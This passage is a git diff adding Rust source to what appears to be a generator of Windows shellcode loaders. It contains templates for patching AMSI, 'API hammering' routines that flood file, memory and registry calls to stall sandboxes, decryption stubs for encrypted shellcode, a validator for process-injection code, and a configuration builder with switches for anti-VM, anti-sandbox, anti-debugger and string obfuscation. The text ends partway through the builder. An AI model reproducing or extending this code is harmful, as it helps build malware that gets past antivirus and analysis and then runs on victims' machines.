+ assert!(logic.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]"));
+ assert!(logic.contains("if bytes[i] == 0x74"));
+ assert!(logic.contains("Failed to find patch location"));
+ }
+
+ #[test]
+ fn test_builder_default() {
+ let builder = AmsiPatchBuilder::default();
+ assert!(!builder.with_string_encryption);
+ assert!(!builder.with_dynamic_resolver);
+ }
+}
diff --git a/src/internals/templates/api_hammering.rs b/src/internals/templates/api_hammering.rs
@@ -0,0 +1,133 @@
+pub fn generate_api_hammering_functions() -> String {
+ r#"
+use std::fs::{remove_file, File};
+use std::io::{Read, Write};
+
+fn write_random_files(num: usize) -> std::io::Result<()> {
+ let dir = std::env::temp_dir();
+
+ for _ in 0..num {
+ let mut rng = RandomGenerator::new();
+ let random_suffix = rng.next() as u32;
+ let extensions = [".log", ".bitmap", ".txt"];
+ let extension = extensions[(rng.next() % extensions.len())];
+ let file_name = format!("{:x}{}", random_suffix, extension);
+ let path = dir.as_path().join(&file_name);
+
+ let size = 0xFFFFF;
+
+ let mut file = File::create(&path)?;
+ let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
+ file.write_all(&data)?;
+
+ let mut file = File::open(&path)?;
+ let mut buffer = vec![0; size];
+ file.read_exact(&mut buffer)?;
+
+ remove_file(path)?;
+ }
+
+ Ok(())
+}
+
+#[no_mangle]
+#[inline(never)]
+fn calc_primes(iterations: usize) {
+ let mut prime = 2;
+ let mut i = 0;
+ while i < iterations {
+ if (2..prime).all(|j| prime % j != 0) {
+ i += 1;
+ }
+ prime += 1;
+ }
+}
+
+fn allocate_random_memory(num_allocs: usize) {
+ let mut allocations = Vec::new();
+ let mut rng = RandomGenerator::new();
+
+ for _ in 0..num_allocs {
+ let size = 1024 + (rng.next() % 8192);
+ let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
+ allocations.push(data);
+ }
+}
+
+fn transform_strings(iterations: usize) {
+ let mut rng = RandomGenerator::new();
+
+ for _ in 0..iterations {
+ let len = 5 + (rng.next() % 10);
+ let s: String = (0..len)
+ .map(|_| {
+ let idx = rng.next() % 26;
+ (b'a' + idx as u8) as char
+ })
+ .collect();
+ let _uppercase = s.to_uppercase();
+ let _lowercase = s.to_lowercase();
+ let _repeated = s.repeat(3);
+ let _reversed: String = s.chars().rev().collect();
+ }
+}
+
+fn sleep_random_jitter(max_millis: u64) {
+ let mut rng = RandomGenerator::new();
+ let jitter = rng.next() as u64 % max_millis;
+ std::thread::sleep(std::time::Duration::from_millis(jitter));
+}
+
+fn query_registry_keys(num_queries: usize) -> std::io::Result<()> {
+ use std::process::Command;
+
+ let keys = [
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion",
+ r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion",
+ r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control",
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
+ r"HKEY_CURRENT_USER\Environment",
+ r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services",
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes",
+ r"HKEY_CURRENT_USER\Software\Classes",
+ r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System",
+ r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
+ ];
+ let mut rng = RandomGenerator::new();
+
+ for _ in 0..num_queries {
+ let key = keys[rng.next() % keys.len()];
+ let _ = Command::new("reg")
+ .args(&["query", key])
+ .output();
+ }
+
+ Ok(())
+}
+
+struct RandomGenerator {
+ state: u64,
+}
+
+impl RandomGenerator {
+ fn new() -> Self {
+ let state = std::time::SystemTime::now()
+ .duration_since(std::time::UNIX_EPOCH)
+ .unwrap()
+ .as_nanos() as u64;
+ Self { state }
+ }
+
+ fn next(&mut self) -> usize {
+ self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
+ (self.state >> 32) as usize
+ }
+
+ fn gen(&mut self) -> u8 {
+ self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
+ (self.state >> 33) as u8
+ }
+}
+"#
+ .to_string()
+}
diff --git a/src/internals/templates/cargo_config.rs b/src/internals/templates/cargo_config.rs
@@ -0,0 +1,49 @@
+/// Generate Cargo.toml template for EXE binaries
+pub fn generate_cargo_toml_exe(project_name: &str, dependencies: &str) -> String {
+ format!(
+ r#"[package]
+name = "{}"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]{}
+
+[profile.release]
+strip = true
+opt-level = "z"
+lto = true
+codegen-units = 1
+"#,
+ project_name, dependencies
+ )
+}
+
+/// Generate Cargo.toml template for DLL binaries
+pub fn generate_cargo_toml_dll(project_name: &str, dependencies: &str) -> String {
+ format!(
+ r#"[package]
+name = "{}"
+version = "0.1.0"
+edition = "2021"
+
+[lib]
+crate-type = ["cdylib"]
+
+[dependencies]{}
+
+[profile.release]
+strip = true
+opt-level = "z"
+lto = true
+codegen-units = 1
+"#,
+ project_name, dependencies
+ )
+}
+
+/// Generate .cargo/config.toml template
+pub fn generate_cargo_config() -> &'static str {
+ r#"[build]
+target = "x86_64-pc-windows-gnu"
+"#
+}
diff --git a/src/internals/templates/code_context.rs b/src/internals/templates/code_context.rs
@@ -0,0 +1,114 @@
+pub struct CodeContext {
+ technique_name: String,
+ generation_stage: String,
+}
+
+impl CodeContext {
+ pub fn new(technique_name: &str, stage: &str) -> Self {
+ Self {
+ technique_name: technique_name.to_string(),
+ generation_stage: stage.to_string(),
+ }
+ }
+
+ pub fn add_context_marker(&self, code: &str) -> String {
+ let marker = self.generate_marker();
+ format!("{}\n{}", marker, code)
+ }
+
+ fn generate_marker(&self) -> String {
+ format!(
+ "// Generated by: {} ({})",
+ self.technique_name, self.generation_stage
+ )
+ }
+
+ pub fn add_stage_markers(technique_name: &str, code: &str) -> String {
+ let mut result = String::new();
+
+ result.push_str(&format!("// === Technique: {} ===\n", technique_name));
+
+ let lines: Vec<&str> = code.lines().collect();
+ let mut imports_added = false;
+ let mut const_added = false;
+ let mut func_added = false;
+
+ for line in lines {
+ let trimmed = line.trim();
+
+ if !imports_added && (trimmed.starts_with("use ") || trimmed.starts_with("extern ")) {
+ result.push_str("// --- Imports & Declarations ---\n");
+ imports_added = true;
+ }
+
+ if !const_added && trimmed.starts_with("const ") {
+ result.push_str("// --- Constants ---\n");
+ const_added = true;
+ }
+
+ if !func_added && (trimmed.starts_with("pub fn ") || trimmed.starts_with("fn ")) {
+ result.push_str("// --- Main Implementation ---\n");
+ func_added = true;
+ }
+
+ result.push_str(line);
+ result.push('\n');
+ }
+
+ result
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_context_marker_generation() {
+ let context = CodeContext::new("CreateFiber", "static_generation");
+ let code = "fn test() {}";
+ let result = context.add_context_marker(code);
+
+ assert!(result.contains("// Generated by: CreateFiber (static_generation)"));
+ assert!(result.contains("fn test() {}"));
+ }
+
+ #[test]
+ fn test_stage_markers() {
+ let code = r#"
+use std::ptr;
+
+const MEM_COMMIT: u32 = 0x1000;
+
+pub fn execute_shellcode(shellcode: &[u8]) {
+ unsafe {
+ VirtualAlloc(ptr::null_mut(), shellcode.len(), MEM_COMMIT, PAGE_READWRITE);
+ }
+}
+"#;
+
+ let result = CodeContext::add_stage_markers("CreateFiber", code);
+
+ assert!(result.contains("// === Technique: CreateFiber ==="));
+ assert!(result.contains("// --- Imports & Declarations ---"));
+ assert!(result.contains("// --- Constants ---"));
+ assert!(result.contains("// --- Main Implementation ---"));
+ }
+
+ #[test]
+ fn test_marker_order() {
+ let code = r#"
+use std::ptr;
+const X: u32 = 1;
+pub fn test() {}
+"#;
+
+ let result = CodeContext::add_stage_markers("Test", code);
+ let imports_pos = result.find("// --- Imports & Declarations ---").unwrap();
+ let const_pos = result.find("// --- Constants ---").unwrap();
+ let impl_pos = result.find("// --- Main Implementation ---").unwrap();
+
+ assert!(imports_pos < const_pos);
+ assert!(const_pos < impl_pos);
+ }
+}
diff --git a/src/internals/templates/code_validator.rs b/src/internals/templates/code_validator.rs
@@ -0,0 +1,252 @@
+use std::collections::HashSet;
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum ValidationError {
+ UnbalancedBraces { open: usize, close: usize },
+ UnbalancedParentheses { open: usize, close: usize },
+ MissingExternBlock,
+ MissingUnsafeBlock,
+ InvalidFunctionSignature(String),
+ MissingRequiredImport(String),
+ DuplicateExternDeclaration(String),
+}
+
+impl std::fmt::Display for ValidationError {
+ fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+ match self {
+ ValidationError::UnbalancedBraces { open, close } => {
+ write!(f, "Unbalanced braces: {} open, {} close", open, close)
+ }
+ ValidationError::UnbalancedParentheses { open, close } => {
+ write!(f, "Unbalanced parentheses: {} open, {} close", open, close)
+ }
+ ValidationError::MissingExternBlock => {
+ write!(f, "Missing extern block for Windows API functions")
+ }
+ ValidationError::MissingUnsafeBlock => {
+ write!(f, "Windows API calls must be in unsafe block")
+ }
+ ValidationError::InvalidFunctionSignature(sig) => {
+ write!(f, "Invalid function signature: {}", sig)
+ }
+ ValidationError::MissingRequiredImport(import) => {
+ write!(f, "Missing required import: {}", import)
+ }
+ ValidationError::DuplicateExternDeclaration(name) => {
+ write!(f, "Duplicate extern declaration: {}", name)
+ }
+ }
+ }
+}
+
+pub struct CodeValidator;
+
+impl CodeValidator {
+ pub fn validate_technique_code(code: &str) -> Result<(), Vec<ValidationError>> {
+ let mut errors = Vec::new();
+
+ if let Err(e) = Self::check_balanced_braces(code) {
+ errors.push(e);
+ }
+
+ if let Err(e) = Self::check_balanced_parentheses(code) {
+ errors.push(e);
+ }
+
+ if let Some(e) = Self::check_unsafe_usage(code) {
+ errors.push(e);
+ }
+
+ if let Some(e) = Self::check_duplicate_externs(code) {
+ errors.push(e);
+ }
+
+ if errors.is_empty() {
+ Ok(())
+ } else {
+ Err(errors)
+ }
+ }
+
+ fn check_balanced_braces(code: &str) -> Result<(), ValidationError> {
+ let open = code.matches('{').count();
+ let close = code.matches('}').count();
+ if open != close {
+ Err(ValidationError::UnbalancedBraces { open, close })
+ } else {
+ Ok(())
+ }
+ }
+
+ fn check_balanced_parentheses(code: &str) -> Result<(), ValidationError> {
+ let open = code.matches('(').count();
+ let close = code.matches(')').count();
+ if open != close {
+ Err(ValidationError::UnbalancedParentheses { open, close })
+ } else {
+ Ok(())
+ }
+ }
+
+ fn check_unsafe_usage(code: &str) -> Option<ValidationError> {
+ let has_windows_api_calls = code.contains("VirtualAlloc")
+ || code.contains("VirtualProtect")
+ || code.contains("CreateProcess")
+ || code.contains("WriteProcessMemory")
+ || code.contains("QueueUserAPC");
+
+ let has_unsafe_block = code.contains("unsafe");
+
+ if has_windows_api_calls && !has_unsafe_block {
+ Some(ValidationError::MissingUnsafeBlock)
+ } else {
+ None
+ }
+ }
+
+ fn check_duplicate_externs(code: &str) -> Option<ValidationError> {
+ let mut extern_functions = HashSet::new();
+ let lines: Vec<&str> = code.lines().collect();
+ let mut in_extern_block = false;
+
+ for line in lines {
+ let trimmed = line.trim();
+
+ if trimmed.starts_with("extern") && trimmed.contains('{') {
+ in_extern_block = true;
+ continue;
+ }
+
+ if in_extern_block && trimmed == "}" {
+ in_extern_block = false;
+ continue;
+ }
+
+ if in_extern_block && trimmed.starts_with("fn ") {
+ let fn_name = trimmed
+ .trim_start_matches("fn ")
+ .split('(')
+ .next()
+ .unwrap_or("");
+ if !fn_name.is_empty() && !extern_functions.insert(fn_name.to_string()) {
+ return Some(ValidationError::DuplicateExternDeclaration(
+ fn_name.to_string(),
+ ));
+ }
+ }
+ }
+ None
+ }
+
+ pub fn validate_with_context(
+ code: &str,
+ context: &str,
+ ) -> Result<(), Vec<(String, ValidationError)>> {
+ Self::validate_technique_code(code).map_err(|errors| {
+ errors
+ .into_iter()
+ .map(|e| (context.to_string(), e))
+ .collect()
+ })
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_valid_code_passes() {
+ let code = r#"
+ unsafe {
+ let ptr = VirtualAlloc(ptr::null_mut(), 1024, MEM_COMMIT, PAGE_READWRITE);
+ }
+ "#;
+ assert!(CodeValidator::validate_technique_code(code).is_ok());
+ }
+
+ #[test]
+ fn test_unbalanced_braces_detected() {
+ let code = r#"
+ unsafe {
+ let ptr = VirtualAlloc(ptr::null_mut(), 1024, MEM_COMMIT, PAGE_READWRITE);
+ "#;
+ let result = CodeValidator::validate_technique_code(code);
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ assert!(matches!(
+ errors[0],
+ ValidationError::UnbalancedBraces { .. }
+ ));
+ }
+
+ #[test]
+ fn test_unbalanced_parentheses_detected() {
+ let code = r#"
+ unsafe {
+ let ptr = VirtualAlloc(ptr::null_mut(), 1024, MEM_COMMIT, PAGE_READWRITE;
+ }
+ "#;
+ let result = CodeValidator::validate_technique_code(code);
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ assert!(matches!(
+ errors[0],
+ ValidationError::UnbalancedParentheses { .. }
+ ));
+ }
+
+ #[test]
+ fn test_missing_unsafe_block_detected() {
+ let code = r#"
+ {
+ let ptr = VirtualAlloc(ptr::null_mut(), 1024, MEM_COMMIT, PAGE_READWRITE);
+ }
+ "#;
+ let result = CodeValidator::validate_technique_code(code);
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ assert!(matches!(errors[0], ValidationError::MissingUnsafeBlock));
+ }
+
+ #[test]
+ fn test_duplicate_extern_detected() {
+ let code = r#"
+ extern "system" {
+ fn VirtualAlloc(addr: *mut c_void) -> *mut c_void;
+ fn VirtualAlloc(addr: *mut c_void) -> *mut c_void;
+ }
+ "#;
+ let result = CodeValidator::validate_technique_code(code);
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ eprintln!("Errors found: {:?}", errors);
+ assert!(errors
+ .iter()
+ .any(|e| matches!(e, ValidationError::DuplicateExternDeclaration(_))));
+ }
+
+ #[test]
+ fn test_code_without_api_calls_doesnt_need_unsafe() {
+ let code = r#"
+ {
+ let x = 42;
+ let y = x + 1;
+ }
+ "#;
+ assert!(CodeValidator::validate_technique_code(code).is_ok());
+ }
+
+ #[test]
+ fn test_validation_with_context() {
+ let code = r#"
+ {
+ let ptr = VirtualAlloc(ptr::null_mut(), 1024, MEM_COMMIT, PAGE_READWRITE);
+ }
+ "#;
+ let result = CodeValidator::validate_with_context(code, "CreateFiberGenerator");
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ assert_eq!(errors[0].0, "CreateFiberGenerator");
+ }
+}
diff --git a/src/internals/templates/encryption.rs b/src/internals/templates/encryption.rs
@@ -0,0 +1,189 @@
+/// Returns the XOR decrypt function implementation as a string
+pub fn internals_decrypt_xor() -> &'static str {
+ r#"/// Decrypts XOR encrypted data using the provided key
+///
+/// Returns decrypted bytes.
+pub fn decrypt_xor(data: &[u8], key: &[u8]) -> Vec<u8> {
+ xor_bytes(data, key)
+}"#
+}
+
+/// Returns the AES-128 CBC decrypt function implementation as a string
+pub fn internals_decrypt_aes() -> &'static str {
+ r#"/// Decrypts AES-128 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_aes(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use aes::Aes128;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 16 {
+ return Err("Key must be 16 bytes for AES-128".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 16] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type Aes128CbcDec = cbc::Decryptor<Aes128>;
+ let cipher = Aes128CbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+}
+
+/// Returns the ChaCha20 decrypt function implementation as a string
+pub fn internals_decrypt_chacha20() -> &'static str {
+ r#"/// Decrypts ChaCha20 encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_chacha20(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use chacha20::cipher::{KeyIvInit, StreamCipher};
+ use chacha20::ChaCha20;
+
+ if data.len() < 12 {
+ return Err("Ciphertext too short to contain nonce".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for ChaCha20".to_string());
+ }
+
+ let nonce: [u8; 12] = data[..12].try_into().unwrap();
+ let ciphertext = &data[12..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ let mut cipher = ChaCha20::new(&key_array.into(), &nonce.into());
+ let mut buffer = ciphertext.to_vec();
+ cipher.apply_keystream(&mut buffer);
+
+ Ok(buffer)
+}"#
+}
+
+/// Returns the Blowfish CBC decrypt function implementation as a string
+pub fn internals_decrypt_blowfish() -> &'static str {
+ r#"/// Decrypts Blowfish CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_blowfish(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use blowfish::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use blowfish::Blowfish;
+
+ if data.len() < 8 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.is_empty() || key.len() > 56 {
+ return Err("Key must be between 1 and 56 bytes for Blowfish".to_string());
+ }
+
+ let iv: [u8; 8] = data[..8].try_into().unwrap();
+ let ciphertext = &data[8..];
+
+ type BlowfishCbcDec = cbc::Decryptor<Blowfish>;
+ let cipher = BlowfishCbcDec::new_from_slices(key, &iv)
+ .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+}
+
+/// Returns the AES-256 CBC decrypt function implementation as a string
+pub fn internals_decrypt_aes256() -> &'static str {
+ r#"/// Decrypts AES-256 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_aes256(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use aes::Aes256;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for AES-256".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type Aes256CbcDec = cbc::Decryptor<Aes256>;
+ let cipher = Aes256CbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+}
+
+/// Returns the Twofish CBC decrypt function implementation as a string
+pub fn internals_decrypt_twofish() -> &'static str {
+ r#"/// Decrypts Twofish CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_twofish(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use twofish::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use twofish::Twofish;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for Twofish".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type TwofishCbcDec = cbc::Decryptor<Twofish>;
+ let cipher = TwofishCbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+}
+
+/// Returns the Camellia-256 CBC decrypt function implementation as a string
+pub fn internals_decrypt_camellia() -> &'static str {
+ r#"/// Decrypts Camellia-256 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_camellia(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use camellia::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use camellia::Camellia256;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for Camellia-256".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type Camellia256CbcDec = cbc::Decryptor<Camellia256>;
+ let cipher = Camellia256CbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+}
diff --git a/src/internals/templates/generated/decrypt.rs b/src/internals/templates/generated/decrypt.rs
@@ -0,0 +1,25 @@
+fn no_encryption_template() -> String {
+ r#"
+"#
+ .to_string()
+}
+
+pub fn generate_decrypt_code(encryption_type: &str) -> String {
+ use crate::cli::EncryptionKind;
+ use crate::encryption::create_encryptor;
+
+ // Create a temporary encryptor to get the decryption template
+ let encryption_kind = match encryption_type {
+ "xor" => EncryptionKind::XOR,
+ "aes" => EncryptionKind::AES,
+ "aes256" => EncryptionKind::AES256,
+ "chacha20" => EncryptionKind::Chacha20,
+ "blowfish" => EncryptionKind::Blowfish,
+ "twofish" => EncryptionKind::Twofish,
+ "camellia" => EncryptionKind::Camellia,
+ _ => return no_encryption_template(),
+ };
+
+ let encryptor = create_encryptor(encryption_kind, "dummy-key");
+ encryptor.generate_decrypt_template()
+}
diff --git a/src/internals/templates/generated/mod.rs b/src/internals/templates/generated/mod.rs
@@ -0,0 +1,3 @@
+mod decrypt;
+
+pub use decrypt::*;
diff --git a/src/internals/templates/internals_utils.rs b/src/internals/templates/internals_utils.rs
@@ -0,0 +1,90 @@
+/// Returns the hex_to_bytes function implementation as a string
+pub fn internals_hex_to_bytes() -> &'static str {
+ r#"/// Converts a hexadecimal string to bytes
+///
+/// Returns `Ok(Vec<u8>)` if the hex string is valid, otherwise returns an error.
+pub fn hex_to_bytes(hex: &str) -> Result<Vec<u8>, String> {
+ let hex = hex.trim_start_matches("0x");
+
+ if (hex.len() & 1) != 0 {
+ return Err("Hex string must have even length".to_string());
+ }
+
+ (0..hex.len())
+ .step_by(2)
+ .map(|i| {
+ u8::from_str_radix(&hex[i..i + 2], 16)
+ .map_err(|e| format!("Invalid hex character: {}", e))
+ })
+ .collect()
+}"#
+}
+
+/// Returns the bytes_to_hex function implementation as a string
+pub fn internals_bytes_to_hex() -> &'static str {
+ r#"/// Converts bytes to a hexadecimal string
+pub fn bytes_to_hex(bytes: &[u8]) -> String {
+ use std::fmt::Write;
+ bytes.iter().fold(String::with_capacity(bytes.len() * 2), |mut output, b| {
+ write!(output, "{:02x}", b).unwrap();
+ output
+ })
+}"#
+}
+
+/// Returns the xor_bytes function implementation as a string
+pub fn internals_xor_bytes() -> &'static str {
+ r#"/// Applies XOR operation between data and a repeating key
+///
+/// If the key is shorter than the data, it will be repeated cyclically.
+pub fn xor_bytes(data: &[u8], key: &[u8]) -> Vec<u8> {
+ if key.is_empty() {
+ return data.to_vec();
+ }
+
+ data.iter()
+ .enumerate()
+ .map(|(i, &byte)| byte ^ key[i % key.len()])
+ .collect()
+}"#
+}
+
+/// Returns the pad_pkcs7 function implementation as a string
+pub fn internals_pad_pkcs7() -> &'static str {
+ r#"/// Pads data to the specified block size using PKCS#7 padding
+///
+/// Returns the padded data.
+pub fn pad_pkcs7(data: &[u8], block_size: usize) -> Vec<u8> {
+ let padding_len = block_size - (data.len() % block_size);
+ let mut padded = data.to_vec();
+ padded.extend(vec![padding_len as u8; padding_len]);
+ padded
+}"#
+}
+
+/// Returns the unpad_pkcs7 function implementation as a string
+pub fn internals_unpad_pkcs7() -> &'static str {
+ r#"/// Removes PKCS#7 padding from data
+///
+/// Returns `Ok(Vec<u8>)` with the unpadded data if valid padding is found,
+/// otherwise returns an error.
+pub fn unpad_pkcs7(data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.is_empty() {
+ return Err("Data is empty".to_string());
+ }
+
+ let padding_len = data[data.len() - 1] as usize;
+
+ if padding_len == 0 || padding_len > data.len() {
+ return Err("Invalid padding length".to_string());
+ }
+
+ for &byte in &data[data.len() - padding_len..] {
+ if byte != padding_len as u8 {
+ return Err("Invalid padding bytes".to_string());
+ }
+ }
+
+ Ok(data[..data.len() - padding_len].to_vec())
+}"#
+}
diff --git a/src/internals/templates/main_funcs.rs b/src/internals/templates/main_funcs.rs
@@ -0,0 +1,828 @@
+pub struct TemplateConfig<'a> {
+ pub internals_source: &'a str,
+ pub shellcode_array: &'a str,
+ pub key_array: &'a str,
+ pub decrypt_code: &'a str,
+ pub technique_code: &'a str,
+ pub technique_function_name: &'a str,
+ pub with_api_hammering: bool,
+ pub with_amsi_patch: bool,
+ pub with_string_encryption: bool,
+ pub with_dynamic_function_resolver: bool,
+ pub with_anti_vm: bool,
+ pub with_anti_sandbox: bool,
+ pub with_anti_debugger: bool,
+ pub encryption_type: &'a str,
+ pub amsi_patch_code: &'a str,
+ pub evasion_code: &'a str,
+ pub string_obfuscator: Box<dyn super::StringObfuscation + 'a>,
+}
+
+impl<'a> TemplateConfig<'a> {
+ pub fn builder() -> TemplateConfigBuilder<'a> {
+ TemplateConfigBuilder::new()
+ }
+}
+
+pub struct TemplateConfigBuilder<'a> {
+ internals_source: Option<&'a str>,
+ shellcode_array: Option<&'a str>,
+ key_array: Option<&'a str>,
+ decrypt_code: Option<&'a str>,
+ technique_code: Option<&'a str>,
+ technique_function_name: Option<&'a str>,
+ with_api_hammering: bool,
+ with_amsi_patch: bool,
+ with_string_encryption: bool,
+ with_dynamic_function_resolver: bool,
+ with_anti_vm: bool,
+ with_anti_sandbox: bool,
+ with_anti_debugger: bool,
+ encryption_type: Option<&'a str>,
+ amsi_patch_code: Option<&'a str>,
+ evasion_code: Option<&'a str>,
+ string_obfuscator: Option<Box<dyn super::StringObfuscation + 'a>>,
+}
+
+impl<'a> TemplateConfigBuilder<'a> {
+ pub fn new() -> Self {
+ Self {
+ internals_source: None,
+ shellcode_array: None,
+ key_array: None,
+ decrypt_code: None,
+ technique_code: None,
+ technique_function_name: None,
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ encryption_type: None,
+ amsi_patch_code: None,
+ evasion_code: None,
+ string_obfuscator: None,
+ }
+ }
+
+ pub fn internals_source(mut self, source: &'a str) -> Self {
+ self.internals_source = Some(source);
+ self
+ }
+
+ pub fn shellcode_array(mut self, array: &'a str) -> Self {
+ self.shellcode_array = Some(array);
+ self
+ }
+
+ pub fn key_array(mut self, array: &'a str) -> Self {
+ self.key_array = Some(array);
+ self
+ }
+
+ pub fn decrypt_code(mut self, code: &'a str) -> Self {
+ self.decrypt_code = Some(code);
+ self
+ }
+
+ pub fn technique_code(mut self, code: &'a str) -> Self {
+ self.technique_code = Some(code);
+ self
+ }
+
+ pub fn technique_function_name(mut self, name: &'a str) -> Self {
+ self.technique_function_name = Some(name);
+ self
+ }
+
+ pub fn with_api_hammering(mut self, enabled: bool) -> Self {
+ self.with_api_hammering = enabled;
+ self
+ }
+
+ pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
+ self.with_amsi_patch = enabled;
+ self
+ }
+
+ pub fn with_string_encryption(mut self, enabled: bool) -> Self {
+ self.with_string_encryption = enabled;
+ self
+ }
+
+ pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
+ self.with_dynamic_function_resolver = enabled;
+ self
+ }
+
+ pub fn with_anti_vm(mut self, enabled: bool) -> Self {
+ self.with_anti_vm = enabled;
+ self
+ }
+
+ pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
+ self.with_anti_sandbox = enabled;
+ self
+ }
+
+ pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
+ self.with_anti_debugger = enabled;
+ self
+ }
+
+ pub fn encryption_type(mut self, enc_type: &'a str) -> Self {
+ self.encryption_type = Some(enc_type);
+ self
+ }
+
+ pub fn amsi_patch_code(mut self, code: &'a str) -> Self {
+ self.amsi_patch_code = Some(code);
+ self
+ }
+
+ pub fn evasion_code(mut self, code: &'a str) -> Self {
+ self.evasion_code = Some(code);
+ self
+ }
+
+ pub fn string_obfuscator(mut self, obfuscator: Box<dyn super::StringObfuscation + 'a>) -> Self {
+ self.string_obfuscator = Some(obfuscator);
+ self
+ }
+
+ pub fn build(self) -> TemplateConfig<'a> {
+ TemplateConfig {
+ internals_source: self.internals_source.expect("internals_source is required"),
+ shellcode_array: self.shellcode_array.expect("shellcode_array is required"),
+ key_array: self.key_array.expect("key_array is required"),
